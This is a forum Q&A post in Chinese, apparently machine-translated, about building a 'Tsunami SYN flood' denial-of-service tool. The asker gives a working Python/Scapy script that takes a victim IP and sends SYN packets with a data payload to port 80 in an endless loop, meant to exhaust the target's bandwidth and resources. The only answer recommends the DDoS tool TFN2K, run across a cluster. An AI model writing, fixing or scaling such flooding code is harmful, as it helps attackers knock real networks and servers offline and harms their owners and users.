我正在编写一小段代码来为我正在开发的项目创建一个Tsunami SYN泛洪数据包。 Tsunami SYN泛洪与普通SYN泛洪的不同之处在于数据包保存数据,这意味着链路带宽以及受害计算机上的资源都已耗尽。
我想我已经成功地将数据有效负载添加到我的数据包中,它在我运行代码时出现,但是当我查看Wireshark上的数据包时,我似乎无法看到数据。我很可能会错过一些非常明显的东西,但有些帮助会受到赞赏,这对我来说有点新鲜。
#type sudo, command then follow with victim IP address
import sys
from scapy.all import *
iterationCount = 0
f=IP(dst=sys.argv[1], ttl=50)
t=TCP(sport=RandShort(),dport=[80], window=1000, flags="S")
payload="Here is my payload I want it to be longer than this but this is just for testing purposes"
packet=f/t/payload
print "Flood packet info"
packet.show()
print "sending packets"
while (1 == 1):
send(packet, verbose=0) #sends packet and supresses 1 packet sent message
iterationCount = iterationCount + 1
print(str(iterationCount) + " Packets Sent")
答案 0 :(得分:0)
为什么重新发明轮子? 使用tfnk2(包大小选项) 使用mpich运行tfnk2 要么 构建一个集群并运行tfnk2